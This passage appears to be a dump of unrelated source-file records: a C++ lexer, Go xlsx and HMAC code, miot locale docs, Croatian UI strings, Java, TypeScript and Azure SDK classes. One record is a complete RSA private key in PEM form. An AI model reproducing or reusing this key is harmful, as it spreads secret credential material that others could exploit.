brackets.\n\t\tthis->brackets.emplace(\n\t\t\ttype,\n\t\t\ttoken_start + 1\n\t\t);\n\n\t\tthis->possibly_hanging = true;\n\t\treturn;\n\t}\n\t// closing brackets\n\telse if (type == token_type::RPAREN or\n\t type == token_type::RANGLE or\n\t type == token_type::RBRACKET or\n\t type == token_type::RBRACE) {\n\n\t\tif (this->brackets.empty()) {\n\t\t\tthrow this->error(\"unexpected closing bracket, \"\n\t\t\t \"as no opening one is known\");\n\t\t}\n\n\t\tBracket &matching_open_bracket = this->brackets.top();\n\n\t\t// test if bracket actually matches\n\t\tif (not matching_open_bracket.matches(type)) {\n\t\t\tstd::ostringstream builder;\n\t\t\tbuilder << \"non-matching bracket: expected '\"\n\t\t\t << matching_open_bracket.matching_type_str()\n\t\t\t << \"' but got '\" << token_type_str(type) << \"'\";\n\t\t\tthrow this->error(builder.str());\n\t\t}\n\n\t\tif (not matching_open_bracket.closing_indent_ok(token_start)) {\n\t\t\tstd::ostringstream builder;\n\t\t\tbuilder << \"wrong indentation of bracket: expected \"\n\t\t\t << matching_open_bracket.get_closing_indent()\n\t\t\t << \" indentation spaces (it is currently at \"\n\t\t\t << token_start << \" spaces)\";\n\t\t\tthrow this->error(builder.str());\n\t\t}\n\n\t\tthis->bracketcloseindent_expected = false;\n\t\tthis->brackets.pop();\n\t}\n\t// newline directly after opening bracket\n\t// means regular indentation has to follow\n\t// and the bracket pair doesn't hang.\n\telse if (not this->brackets.empty() and\n\t this->possibly_hanging and\n\t type == token_type::ENDLINE) {\n\n\t\t// the bracket is followed by a newline directly,\n\t\t// thus is not hanging.\n\t\tthis->brackets.top().doesnt_hang(\n\t\t\tthis->previous_indent\n\t\t);\n\t}\n\telse if (not this->brackets.empty() and\n\t this->bracketcloseindent_expected) {\n\t\tstd::ostringstream builder;\n\t\tbuilder << (\"expected closing bracket or content \"\n\t\t \"at indentation with \")\n\t\t << this->brackets.top().get_content_indent()\n\t\t << \" spaces (you start at \" << token_start << \" spaces)\";\n\t\tthrow this->error(builder.str());\n\t}\n\n\tthis->possibly_hanging = false;\n}\n\n/*\n * measure the indentation of a line\n */\nvoid Impl::handle_indent(int depth) {\n\n\tthis->linepos -= yyget_leng(this->scanner) - depth;\n\n\tif (not this->brackets.empty()) {\n\t\t// we're in a pair of brackets,\n\t\t// there the indentation is way funnier.\n\n\t\t// check if the content indentation is correct.\n\t\tint expected = this->brackets.top().get_content_indent();\n\t\tif (depth != expected) {\n\t\t\t// if the expected depth is not correct,\n\t\t\t// then the only thing that is allowed is\n\t\t\t// the closing bracket.\n\t\t\t// the check will be done for the next token in\n\t\t\t// `track_brackets`.\n\t\t\tthis->bracketcloseindent_expected = true;\n\t\t}\n\n\t\t// don't need to track the indent stack,\n\t\t// this is done in the bracket tracking now.\n\t\treturn;\n\t}\n\n\t// regular indent is enforced when not in a bracket pair\n\tif ((depth % SPACES_PER_INDENT) > 0) {\n\t\tstd::ostringstream builder;\n\t\tbuilder << \"indentation requires exactly \"\n\t\t << SPACES_PER_INDENT\n\t\t << \" spaces per level\";\n\t\tthrow this->error(builder.str());\n\t}\n\n\tif (depth == this->previous_indent) {\n\t\t// same indent level, ignore\n\t\treturn;\n\t}\n\telse if (depth < this->previous_indent) {\n\t\t// current line is further left than the previous one\n\t\tint delta = this->previous_indent - depth;\n\t\twhile (delta > 0) {\n\t\t\tdelta -= SPACES_PER_INDENT;\n\t\t\tthis->token(token_type::DEDENT);\n\t\t}\n\t}\n\telse {\n\t\t// current line has more depth than the previous one\n\t\tint delta = depth - this->previous_indent;\n\t\twhile (delta > 0) {\n\t\t\tdelta -= SPACES_PER_INDENT;\n\t\t\tthis->token(token_type::INDENT);\n\t\t}\n\t}\n\tthis->previous_indent = depth;\n}\n\n} // namespace nyan::lexer\n"} +{"text": "\n\n## miot/host/locale\nhost 的本地信息, 包括语言,时区和地理位置\n\n**Export**: public \n**Doc_name**: 本地化模块 \n**Doc_index**: 5 \n**Doc_directory**: host \n**Example** \n```js\nimport {Host} from 'miot'\n...\nlet language = Host.locale.language\nlet timeZone = Host.locale.timeZone\nif (language === 'zh') ...\n...\n```\n\n* [miot/host/locale](#module_miot/host/locale)\n * [~ILocale](#module_miot/host/locale..ILocale)\n * [.language](#module_miot/host/locale..ILocale+language) : string\n * [.systemLanguage](#module_miot/host/locale..ILocale+systemLanguage) : string\n * [.timeZone](#module_miot/host/locale..ILocale+timeZone) : string\n * [.is24HourTime](#module_miot/host/locale..ILocale+is24HourTime) : boolean\n * [.getLocation()](#module_miot/host/locale..ILocale+getLocation) ⇒ [ 'Promise' ].<object>\n * [.getSystemTimeZone()](#module_miot/host/locale..ILocale+getSystemTimeZone) ⇒ Promise\n\n\n\n### miot/host/locale~ILocale\n**Kind**: inner interface of [miot/host/locale](#module_miot/host/locale) \n\n* [~ILocale](#module_miot/host/locale..ILocale)\n * [.language](#module_miot/host/locale..ILocale+language) : string\n * [.systemLanguage](#module_miot/host/locale..ILocale+systemLanguage) : string\n * [.timeZone](#module_miot/host/locale..ILocale+timeZone) : string\n * [.is24HourTime](#module_miot/host/locale..ILocale+is24HourTime) : boolean\n * [.getLocation()](#module_miot/host/locale..ILocale+getLocation) ⇒ [ 'Promise' ].<object>\n * [.getSystemTimeZone()](#module_miot/host/locale..ILocale+getSystemTimeZone) ⇒ Promise\n\n\n\n#### iLocale.language : string\n获取米家 APP 语言\n\n**Kind**: instance property of [ILocale](#module_miot/host/locale..ILocale) \n\n\n#### iLocale.systemLanguage : string\n获取系统语言\n\n**Kind**: instance property of [ILocale](#module_miot/host/locale..ILocale) \n\n\n#### iLocale.timeZone : string\n获取时区\n\n**Kind**: instance property of [ILocale](#module_miot/host/locale..ILocale) \n\n\n#### iLocale.is24HourTime : boolean\n是否是24小时制计时格式\n\n**Kind**: instance property of [ILocale](#module_miot/host/locale..ILocale) \n\n\n#### iLocale.getLocation() ⇒ [ 'Promise' ].<object>\n获取手机地理位置信息\n\n**Kind**: instance method of [ILocale](#module_miot/host/locale..ILocale) \n**Returns**: [ 'Promise' ].<object> - {\ncountry\nprovince\ncity\ndistrict(区域)\nstreet\naddress\nlatitude(纬度)\nlongitude(经度)\ncitycode(城市编码)\nadcode(区域编码)\n} \n**Example** \n```js\nimport {Host} from 'miot'\n...\nHost.locale.getLocation().then(res => {\n console.log('get location: ', res)\n})\n```\n\n\n#### iLocale.getSystemTimeZone() ⇒ Promise\n获取手机的时区信息\n\n**Kind**: instance method of [ILocale](#module_miot/host/locale..ILocale) \n**Since**: 10024 \n**Example** \n```js\nHost.locale.getSystemTimeZone().then...\nresult = {\"timeZone\":\"Asia/Shanghai\"}\n```\n"} +{"text": "{\n\t\"@metadata\": {\n\t\t\"authors\": [\n\t\t\t\"MaGa\",\n\t\t\t\"Roberta F.\",\n\t\t\t\"SpeedyGonsales\",\n\t\t\t\"Zeljko.filipin\"\n\t\t]\n\t},\n\t\"visualeditor\": \"VisualEditor\",\n\t\"visualeditor-aliennode-tooltip\": \"Žao nam je, ali ovaj element se za sada ne može uređivati u VisualEditoru, već na stari način.\",\n\t\"visualeditor-annotationbutton-bold-tooltip\": \"Podebljano\",\n\t\"visualeditor-annotationbutton-code-tooltip\": \"Računalni kôd\",\n\t\"visualeditor-annotationbutton-italic-tooltip\": \"Kurziv\",\n\t\"visualeditor-annotationbutton-language-tooltip\": \"Jezik\",\n\t\"visualeditor-annotationbutton-link-tooltip\": \"Poveznica\",\n\t\"visualeditor-annotationbutton-strikethrough-tooltip\": \"Precrtano\",\n\t\"visualeditor-annotationbutton-subscript-tooltip\": \"Indeks\",\n\t\"visualeditor-annotationbutton-superscript-tooltip\": \"Eksponent\",\n\t\"visualeditor-annotationbutton-underline-tooltip\": \"Podcrtano\",\n\t\"visualeditor-clearbutton-tooltip\": \"Ukloni oblikovanje\",\n\t\"visualeditor-clipboard-copy\": \"Kopiraj\",\n\t\"visualeditor-clipboard-cut\": \"Izreži\",\n\t\"visualeditor-clipboard-paste\": \"Zalijepi\",\n\t\"visualeditor-clipboard-paste-special\": \"Zalijepi kao običan tekst\",\n\t\"visualeditor-commentinspector-edit\": \"Uredi komentar\",\n\t\"visualeditor-commentinspector-title\": \"Komentar\",\n\t\"visualeditor-commentinspector-tooltip\": \"Komentar\",\n\t\"visualeditor-content-select-all\": \"Odaberi sve\",\n\t\"visualeditor-contextitemwidget-label-secondary\": \"Uredi\",\n\t\"visualeditor-dialog-action-apply\": \"Sačuvaj izmjene\",\n\t\"visualeditor-dialog-action-cancel\": \"Odustani\",\n\t\"visualeditor-dialog-action-done\": \"Gotovo\",\n\t\"visualeditor-dialog-action-goback\": \"Idi natrag\",\n\t\"visualeditor-dialog-action-insert\": \"Umetni\",\n\t\"visualeditor-dialog-command-help-title\": \"Tipkovnički prečaci\",\n\t\"visualeditor-dialog-error\": \"Nešto je pošlo po zlu...\",\n\t\"visualeditor-dialog-error-dismiss\": \"Idi natrag\",\n\t\"visualeditor-dialog-language-auto-direction\": \"Automatski\",\n\t\"visualeditor-dialog-language-search-title\": \"Odaberite jezik\",\n\t\"visualeditor-find-and-replace-find-text\": \"Traži\",\n\t\"visualeditor-find-and-replace-replace-all-button\": \"Zamijeni sve\",\n\t\"visualeditor-find-and-replace-replace-button\": \"Zamijeni\",\n\t\"visualeditor-find-and-replace-replace-text\": \"Zamijeni\",\n\t\"visualeditor-find-and-replace-results\": \"$1 od $2\",\n\t\"visualeditor-find-and-replace-title\": \"Traži i zamijeni\",\n\t\"visualeditor-formatdropdown-format-blockquote\": \"Uvučeni odlomak\",\n\t\"visualeditor-formatdropdown-format-heading-label\": \"Naslov (1-6)\",\n\t\"visualeditor-formatdropdown-format-heading1\": \"Naslov 1\",\n\t\"visualeditor-formatdropdown-format-heading2\": \"Naslov 2\",\n\t\"visualeditor-formatdropdown-format-heading3\": \"Naslov 3\",\n\t\"visualeditor-formatdropdown-format-heading4\": \"Naslov 4\",\n\t\"visualeditor-formatdropdown-format-heading5\": \"Naslov 5\",\n\t\"visualeditor-formatdropdown-format-heading6\": \"Naslov 6\",\n\t\"visualeditor-formatdropdown-format-paragraph\": \"Odlomak\",\n\t\"visualeditor-formatdropdown-format-preformatted\": \"Preoblikovano\",\n\t\"visualeditor-formatdropdown-title\": \"Promijeniti format\",\n\t\"visualeditor-help-tool\": \"Pomoć\",\n\t\"visualeditor-historybutton-redo-tooltip\": \"Ponovi\",\n\t\"visualeditor-historybutton-undo-tooltip\": \"Vrati\",\n\t\"visualeditor-indentationbutton-indent-tooltip\": \"Povećaj uvlaku\",\n\t\"visualeditor-indentationbutton-outdent-tooltip\": \"Smanji uvlaku\",\n\t\"visualeditor-inspector-close-tooltip\": \"Zatvori\",\n\t\"visualeditor-inspector-remove-tooltip\": \"Ukloni\",\n\t\"visualeditor-language-search-input-placeholder\": \"Pretraži po imenu ili kôdu jezika\",\n\t\"visualeditor-languageinspector-title\": \"Jezik\",\n\t\"visualeditor-languageinspector-widget-changelang\": \"Nađi jezik\",\n\t\"visualeditor-languageinspector-widget-label-direction\": \"Smjer\",\n\t\"visualeditor-languageinspector-widget-label-langcode\": \"Jezični kôd\",\n\t\"visualeditor-languageinspector-widget-label-language\": \"Jezik\",\n\t\"visualeditor-linkinspector-open\": \"Otvori\",\n\t\"visualeditor-linkinspector-title\": \"Poveznica\",\n\t\"visualeditor-listbutton-bullet-tooltip\": \"Popis s grafičkim oznakama\",\n\t\"visualeditor-listbutton-number-tooltip\": \"Numerirani popis\",\n\t\"visualeditor-mediasizewidget-button-originaldimensions\": \"U stvarnoj veličini\",\n\t\"visualeditor-mediasizewidget-label-custom\": \"Prilagođeno\",\n\t\"visualeditor-mediasizewidget-label-defaulterror\": \"Vrijednosti veličina nisu dozvoljene.\",\n\t\"visualeditor-mediasizewidget-label-scale\": \"Mjerilo\",\n\t\"visualeditor-mediasizewidget-label-scale-percent\": \"% od veličine minijature\",\n\t\"visualeditor-mediasizewidget-sizeoptions-custom\": \"Prilagođeno\",\n\t\"visualeditor-mediasizewidget-sizeoptions-default\": \"Zadano\",\n\t\"visualeditor-mediasizewidget-sizeoptions-scale\": \"Mjerilo\",\n\t\"visualeditor-shortcuts-clipboard\": \"Međuspremnik\",\n\t\"visualeditor-shortcuts-formatting\": \"Oblikovanje odlomaka\",\n\t\"visualeditor-shortcuts-history\": \"Povijest\",\n\t\"visualeditor-shortcuts-other\": \"Ostalo\",\n\t\"visualeditor-shortcuts-text-style\": \"Oblikovanje teksta\",\n\t\"visualeditor-specialcharacter-button-tooltip\": \"Posebni znak\",\n\t\"visualeditor-specialcharacterinspector-title\": \"Posebni znak\",\n\t\"visualeditor-table-caption\": \"Zaglavlje\",\n\t\"visualeditor-table-delete-col\": \"Izbriši stupac\",\n\t\"visualeditor-table-delete-row\": \"Izbriši red\",\n\t\"visualeditor-table-delete-table\": \"Izbriši tablicu\",\n\t\"visualeditor-table-format-data\": \"Polje sa sadržajem\",\n\t\"visualeditor-table-format-header\": \"Zaglavlje\",\n\t\"visualeditor-table-insert-col-after\": \"Umetni iza\",\n\t\"visualeditor-table-insert-col-before\": \"Umetni ispred\",\n\t\"visualeditor-table-insert-row-after\": \"Umetni ispod\",\n\t\"visualeditor-table-insert-row-before\": \"Umetni iznad\",\n\t\"visualeditor-table-insert-table\": \"Tablica\",\n\t\"visualeditor-table-merge-cells\": \"Spoji polja\",\n\t\"visualeditor-toolbar-format-tooltip\": \"Oblikovanje odlomka\",\n\t\"visualeditor-toolbar-history\": \"Povijest\",\n\t\"visualeditor-toolbar-insert\": \"Umetni\",\n\t\"visualeditor-toolbar-paragraph-format\": \"Oblikovanje\",\n\t\"visualeditor-toolbar-structure\": \"Struktura\",\n\t\"visualeditor-toolbar-style-tooltip\": \"Oblikovanje teksta\",\n\t\"visualeditor-toolbar-table\": \"Tablica\",\n\t\"visualeditor-toolbar-text-style\": \"Stil\"\n}\n"} +{"text": "package xlsx\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"time\"\n)\n\n// Writes an array to row r. Accepts a pointer to array type 'e',\n// and writes the number of columns to write, 'cols'. If 'cols' is < 0,\n// the entire array will be written if possible. Returns -1 if the 'e'\n// doesn't point to an array, otherwise the number of columns written.\nfunc (r *Row) WriteSlice(e interface{}, cols int) int {\n\tif cols == 0 {\n\t\treturn cols\n\t}\n\n\t// make sure 'e' is a Ptr to Slice\n\tv := reflect.ValueOf(e)\n\tif v.Kind() != reflect.Ptr {\n\t\treturn -1\n\t}\n\n\tv = v.Elem()\n\tif v.Kind() != reflect.Slice {\n\t\treturn -1\n\t}\n\n\t// it's a slice, so open up its values\n\tn := v.Len()\n\tif cols < n && cols > 0 {\n\t\tn = cols\n\t}\n\n\tvar setCell func(reflect.Value)\n\tsetCell = func(val reflect.Value) {\n\t\tswitch t := val.Interface().(type) {\n\t\tcase time.Time:\n\t\t\tcell := r.AddCell()\n\t\t\tcell.SetValue(t)\n\t\tcase fmt.Stringer: // check Stringer first\n\t\t\tcell := r.AddCell()\n\t\t\tcell.SetString(t.String())\n\t\tdefault:\n\t\t\tswitch val.Kind() { // underlying type of slice\n\t\t\tcase reflect.String, reflect.Int, reflect.Int8,\n\t\t\t\treflect.Int16, reflect.Int32, reflect.Int64, reflect.Float64, reflect.Float32:\n\t\t\t\tcell := r.AddCell()\n\t\t\t\tcell.SetValue(val.Interface())\n\t\t\tcase reflect.Bool:\n\t\t\t\tcell := r.AddCell()\n\t\t\t\tcell.SetBool(t.(bool))\n\t\t\tcase reflect.Interface:\n\t\t\t\tsetCell(reflect.ValueOf(t))\n\t\t\t}\n\t\t}\n\t}\n\n\tvar i int\n\tfor i = 0; i < n; i++ {\n\t\tsetCell(v.Index(i))\n\t}\n\treturn i\n}\n\n// Writes a struct to row r. Accepts a pointer to struct type 'e',\n// and the number of columns to write, `cols`. If 'cols' is < 0,\n// the entire struct will be written if possible. Returns -1 if the 'e'\n// doesn't point to a struct, otherwise the number of columns written\nfunc (r *Row) WriteStruct(e interface{}, cols int) int {\n\tif cols == 0 {\n\t\treturn cols\n\t}\n\n\tv := reflect.ValueOf(e).Elem()\n\tif v.Kind() != reflect.Struct {\n\t\treturn -1 // bail if it's not a struct\n\t}\n\n\tn := v.NumField() // number of fields in struct\n\tif cols < n && cols > 0 {\n\t\tn = cols\n\t}\n\n\tvar k int\n\tfor i := 0; i < n; i, k = i+1, k+1 {\n\t\tf := v.Field(i)\n\n\t\tswitch t := f.Interface().(type) {\n\t\tcase time.Time:\n\t\t\tcell := r.AddCell()\n\t\t\tcell.SetValue(t)\n\t\tcase fmt.Stringer: // check Stringer first\n\t\t\tcell := r.AddCell()\n\t\t\tcell.SetString(t.String())\n\t\tdefault:\n\t\t\tswitch f.Kind() {\n\t\t\tcase reflect.String, reflect.Int, reflect.Int8,\n\t\t\t\treflect.Int16, reflect.Int32, reflect.Int64, reflect.Float64, reflect.Float32:\n\t\t\t\tcell := r.AddCell()\n\t\t\t\tcell.SetValue(f.Interface())\n\t\t\tcase reflect.Bool:\n\t\t\t\tcell := r.AddCell()\n\t\t\t\tcell.SetBool(t.(bool))\n\t\t\tdefault:\n\t\t\t\tk-- // nothing set so reset to previous\n\t\t\t}\n\t\t}\n\t}\n\n\treturn k\n}\n"} +{"text": "/************************************************************************************\nFilename : Win32_RoomTiny_Main.cpp\nContent : First-person view test application for Oculus Rift\nCreated : 18th Dec 2014\nAuthors : Tom Heath\nCopyright : Copyright 2012 Oculus, Inc. All Rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*************************************************************************************/\n/// This samples shows the Room Tiny demo, but using the alternative \n/// programming path, known as 'App-rendered', or sometimes 'Client-rendered'.\n/// Instead of the SDK performing the distortion rendering, and handling other\n/// items internally, this path allows the developer much greater control in \n/// exposing these items and letting the developer do them manually. \n/// It is intended that the non-App-rendered path will absorb the desired \n/// functionality of this path, but in the meantime, here is the sample code.\n\n#include \n\nint WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)\n{\n return 0;\n}\n\n\n#if 0 // Disabled because the existing app rendering support is going away in the LibOVR 0.6 SDK.\n\n#define OVR_D3D_VERSION 11\n#include \"../../Common/Old/Win32_DirectXAppUtil.h\" // DirectX\n#include \"../../Common/Old/Win32_BasicVR.h\" // Basic VR\n#include \"../../Common/Win32_AppRendered.h\" // App-rendered\n\n//-------------------------------------------------------------------------------------\nint WINAPI WinMain(HINSTANCE hinst, HINSTANCE, LPSTR, int)\n{\n AppRenderVR appRenderVR(hinst);\n appRenderVR.ConfigureRendering();\n\n // Main loop\n while (appRenderVR.HandleMessages())\n {\n appRenderVR.BeginFrame();\n appRenderVR.ActionFromInput();\n appRenderVR.GetEyePoses();\n\n for (int eye = 0; eye < 2; eye++)\n {\n appRenderVR.RenderSceneToEyeBuffer(eye);\n }\n\n appRenderVR.DistortAndPresent();\n }\n\n return (appRenderVR.Release(hinst));\n}\n\n#endif\n\n"} +{"text": "package hmac\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n)\n\n// CheckMAC verifies hash checksum\nfunc CheckMAC(message, messageMAC, key []byte) bool {\n\tmac := hmac.New(sha1.New, key)\n\tmac.Write(message)\n\texpectedMAC := mac.Sum(nil)\n\n\treturn hmac.Equal(messageMAC, expectedMAC)\n}\n\n// Sign a message with the key and return bytes.\n// Note: for human readable output see encoding/hex and\n// encode string functions.\nfunc Sign(message, key []byte) []byte {\n\tmac := hmac.New(sha1.New, key)\n\tmac.Write(message)\n\tsigned := mac.Sum(nil)\n\treturn signed\n}\n\n// Validate validate an encodedHash taken\n// from GitHub via X-Hub-Signature HTTP Header.\n// Note: if using another source, just add a 5 letter prefix such as \"sha1=\"\nfunc Validate(bytesIn []byte, encodedHash string, secretKey string) error {\n\tvar validated error\n\n\tif len(encodedHash) > 5 {\n\n\t\thashingMethod := encodedHash[:5]\n\t\tif hashingMethod != \"sha1=\" {\n\t\t\treturn fmt.Errorf(\"unexpected hashing method: %s\", hashingMethod)\n\t\t}\n\n\t\tmessageMAC := encodedHash[5:] // first few chars are: sha1=\n\t\tmessageMACBuf, _ := hex.DecodeString(messageMAC)\n\n\t\tres := CheckMAC(bytesIn, []byte(messageMACBuf), []byte(secretKey))\n\t\tif res == false {\n\t\t\tvalidated = fmt.Errorf(\"invalid message digest or secret\")\n\t\t}\n\t} else {\n\t\treturn fmt.Errorf(\"invalid encodedHash, should have at least 5 characters\")\n\t}\n\n\treturn validated\n}\n\nfunc init() {\n\n}\n"} +{"text": "#!/bin/bash\n## Remove parts of the previous middleware if they exist\n# only remove sub folders of \"/Library/Belgium Identity Card/\", as other eid modules might be installed in there\nif test -e \"/Library/Belgium Identity Card\"; then\n\trm -rf \"/Library/Belgium Identity Card/eID Middleware.app\"\n\trm -rf \"/Library/Belgium Identity Card/Licenses\"\nfi\nif test -e \"/Library/BelgiumIdentityCard\"; then\n\trm -rf \"/Library/BelgiumIdentityCard\"\nfi\n"} +{"text": "/*\n * Copyright (c) 2008, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n *\n */\npackage com.sun.hotspot.igv.graph;\n\nimport com.sun.hotspot.igv.layout.Port;\nimport com.sun.hotspot.igv.layout.Vertex;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Comparator;\n\n/**\n *\n * @author Thomas Wuerthinger\n */\npublic abstract class Slot implements Port, Source.Provider {\n\n private int wantedIndex;\n private String name;\n private String shortName; // 1 - 2 characters\n private Source source;\n protected List connections;\n private Figure figure;\n\n protected Slot(Figure figure, int wantedIndex) {\n this.figure = figure;\n connections = new ArrayList(2);\n source = new Source();\n this.wantedIndex = wantedIndex;\n name = \"\";\n shortName = \"\";\n assert figure != null;\n }\n public static final Comparator slotIndexComparator = new Comparator() {\n\n public int compare(Slot o1, Slot o2) {\n return o1.wantedIndex - o2.wantedIndex;\n }\n };\n public static final Comparator slotFigureComparator = new Comparator() {\n\n public int compare(Slot o1, Slot o2) {\n return o1.figure.getId() - o2.figure.getId();\n }\n };\n\n public int getWantedIndex() {\n return wantedIndex;\n }\n\n public Source getSource() {\n return source;\n }\n\n public String getName() {\n return name;\n }\n\n public void setShortName(String s) {\n assert s != null;\n assert s.length() <= 2;\n this.shortName = s;\n\n }\n\n public String getShortName() {\n return shortName;\n }\n\n public boolean getShowName() {\n return getShortName() != null && getShortName().length() > 0;\n }\n\n public void setName(String s) {\n if (s == null) {\n s = \"\";\n }\n this.name = s;\n }\n\n public Figure getFigure() {\n assert figure != null;\n return figure;\n }\n\n public List getConnections() {\n return Collections.unmodifiableList(connections);\n }\n\n public void removeAllConnections() {\n List connectionsCopy = new ArrayList(this.connections);\n for (Connection c : connectionsCopy) {\n c.remove();\n }\n }\n\n public Vertex getVertex() {\n return figure;\n }\n\n public abstract int getPosition();\n\n public abstract void setPosition(int position);\n}\n"} +{"text": "-----BEGIN RSA PRIVATE KEY-----\nMIICWwIBAAKBgQDjjAaacFRR0TQ0gznNolkPBe2N2A400JL0CU3ujHhVSST4POA0\nWAKy55RYwejlu9Gv9lTBQLGQcHkNNVScjxbpwvCS5mRJOMF2+EdmxFtKtqlDzsi+\nbE0rlJc8VbzR0G63U66JXEtrhkC+wa4eZM6crocKaeXIIRK+rh32Rd8WpwIDAQAB\nAoGAM5dM6/kp9P700i8qjOgRPym96Zoh5nGfz/rIE5z/r36NBkdvIg8OVZfR96nH\nb0b9TOMR5lsPp0sI9yivTWvX6qyvLJRWy2vvx17hXK9NxXUNTAm0PYZUTvCtcPeX\nRnJpzQKNZQPkFzF0uXBc4CtPK2Vz0+FGvAelrhYAxnw1dIkCQQD+9qaW5QhXjsjb\nNl85CmXgxPmGROcgLQCO+omfrjf9UXrituU9Dz6auym5lDGEdMFnkzfr+wpasEy9\nmf5ZZOhDAkEA5HjXfVGaCtpydOt6hDon/uZsyssCK2lQ7NSuE3vP+sUsYMzIpEoy\nt3VWXqKbo+g9KNDTP4WEliqp1aiSIylzzQJANPeqzihQnlgEdD4MdD4rwhFJwVIp\nLe8Lcais1KaN7StzOwxB/XhgSibd2TbnPpw+3bSg5n5lvUdo+e62/31OHwJAU1jS\nI+F09KikQIr28u3UUWT2IzTT4cpVv1AHAQyV3sG3YsjSGT0IK20eyP9BEBZU2WL0\n7aNjrvR5aHxKc5FXsQJABsFtyGpgI5X4xufkJZVZ+Mklz2n7iXa+XPatMAHFxAtb\nEEMt60rngwMjXAzBSC6OYuYogRRAY3UCacNC5VhLYQ==\n-----END RSA PRIVATE KEY-----\n"} +{"text": "/*\n * Copyright 2007 - 2007 JEuclid, http://jeuclid.sf.net\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.w3c.dom.mathml;\n\n/*\n * Please note: This file was automatically generated from the source of the\n * MathML specification. Do not edit it. If there are errors or missing\n * elements, please correct the stylesheet instead.\n */\n\n/**\n * This interface extends the MathMLPresentationElement interface for the\n * MathML space element mspace. Note that this is not derived from\n * MathMLPresentationToken, despite the fact that mspace is classified as a\n * token element, since it does not carry the attributes declared for\n * MathMLPresentationToken.\n * \n * \n */\npublic interface MathMLSpaceElement extends MathMLPresentationElement {\n /**\n * A string of the form number h-unit; represents the width attribute for\n * the mspace element, if specified.\n * \n * @return value of the width attribute.\n */\n String getWidth();\n\n /**\n * setter for the width attribute.\n * \n * @param width\n * new value for width.\n * @see #getWidth()\n */\n void setWidth(String width);\n\n /**\n * A string of the form number v-unit; represents the height attribute for\n * the mspace element, if specified.\n * \n * @return value of the height attribute.\n */\n String getHeight();\n\n /**\n * setter for the height attribute.\n * \n * @param height\n * new value for height.\n * @see #getHeight()\n */\n void setHeight(String height);\n\n /**\n * A string of the form number v-unit; represents the depth attribute for\n * the mspace element, if specified.\n * \n * @return value of the depth attribute.\n */\n String getDepth();\n\n /**\n * setter for the depth attribute.\n * \n * @param depth\n * new value for depth.\n * @see #getDepth()\n */\n void setDepth(String depth);\n\n /**\n * One of the strings auto, newline, indentingnewline, nobreak, goodbreak\n * and badbreak. This attribute gives a linebreaking hint to the renderer.\n * \n * @return value of the linebreak attribute.\n */\n String getLinebreak();\n\n /**\n * setter for the linebreak attribute.\n * \n * @param linebreak\n * new value for linebreak.\n * @see #getLinebreak()\n */\n void setLinebreak(String linebreak);\n};\n"} +{"text": "import { Message } from '@cumulus/types';\n\nexport interface WorkflowMessageTemplateCumulusMeta {\n queueExecutionLimits: Message.QueueExecutionLimits\n}\n\n// Minimal type to define the shape of the template\n// used to prepare workflow messages\nexport interface WorkflowMessageTemplate {\n cumulus_meta: WorkflowMessageTemplateCumulusMeta\n meta: object\n}\n\nexport interface Workflow {\n arn: string\n name: string\n}\n"} +{"text": "# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass CreateFirewallRuleWithAccountParameters(Model):\n \"\"\"The parameters used to create a new firewall rule while creating a new Data\n Lake Analytics account.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The unique name of the firewall rule to create.\n :type name: str\n :param start_ip_address: Required. The start IP address for the firewall\n rule. This can be either ipv4 or ipv6. Start and End should be in the same\n protocol.\n :type start_ip_address: str\n :param end_ip_address: Required. The end IP address for the firewall rule.\n This can be either ipv4 or ipv6. Start and End should be in the same\n protocol.\n :type end_ip_address: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'start_ip_address': {'required': True},\n 'end_ip_address': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'start_ip_address': {'key': 'properties.startIpAddress', 'type': 'str'},\n 'end_ip_address': {'key': 'properties.endIpAddress', 'type': 'str'},\n }\n\n def __init__(self, *, name: str, start_ip_address: str, end_ip_address: str, **kwargs) -> None:\n super(CreateFirewallRuleWithAccountParameters, self).__init__(**kwargs)\n self.name = name\n self.start_ip_address = start_ip_address\n self.end_ip_address = end_ip_address\n"} +{"text": ".. cmake-module:: 